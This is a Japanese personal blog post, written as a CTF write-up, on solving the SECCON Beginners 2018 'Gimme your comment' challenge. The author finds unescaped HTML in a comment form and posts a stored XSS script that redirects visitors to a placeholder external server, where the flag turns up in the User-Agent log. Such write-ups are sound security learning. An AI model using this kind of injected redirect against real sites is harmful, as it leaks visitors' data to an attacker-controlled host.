MawaLog

一日一日、楽しく生きる。技術と音楽が好き。

XSS問題を解く[CTF for Beginners 2018]"Gimme your comment"

f:id:k_mawa:20180609005340p:plain

経緯

この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up

手順

1 XSSの可能性を疑い、検証

見えるのは、Webアプリフレームワークでよく作るBootstrap風のサイト。投稿できるフォームがあるのみ。

まず、投稿フォームが機能しているので、投稿してみる。ここで、Web上のフォームの脆弱性をつく、ということで、XSSの可能性を考える。これを調べるのは、<h1>あ</h1>とかをフォームに入れてみて、<h1>タグがエスケープされているか、されていなくて反応してでっかく文字が出てくるかを見れば良い。すると、フォームのタイトルはエスケープされているものの、コメント本文はエスケープされていない。ここにXSSをしかけることができるとわかる。

2 サーバーを用意しXSSをしかける

User-Agentはどういうときにわかるか、それはサーバーにアクセスしたときのサーバーログだということで、サーバーログが見れる自分の外部公開しているサーバーのURLを用意する。(今回は仮にhttp://www.fugafugafugafuga.comとする。実際は自分のサーバーのURLを設定した。)

※ちなみに注意すべきなのは外部公開していないローカルサーバーでは意味がないです。例えば127.0.0.1とかではサーバーにログが残りません。CTF4bのサーバーからもアクセスできるように外部公開サーバーにしましょう。

下記Javascriptコードでリダイレクトさせられる。

<script>location.href="http://www.fugafugafugafuga.com"</script>

フォーム本文にこのコードを入力、投稿ボタンを押したら、www.fugafugafugafuga.comにリダイレクトされたのを確認する。

3 サーバーのログを見る

サーバーのログを見る。と、アクセスが起きた時刻のログをよく見ると、フラグが書いてある。解けた!!

参考引用元記事

こちらも参考にさせていただきました。
zeosutt.hatenablog.com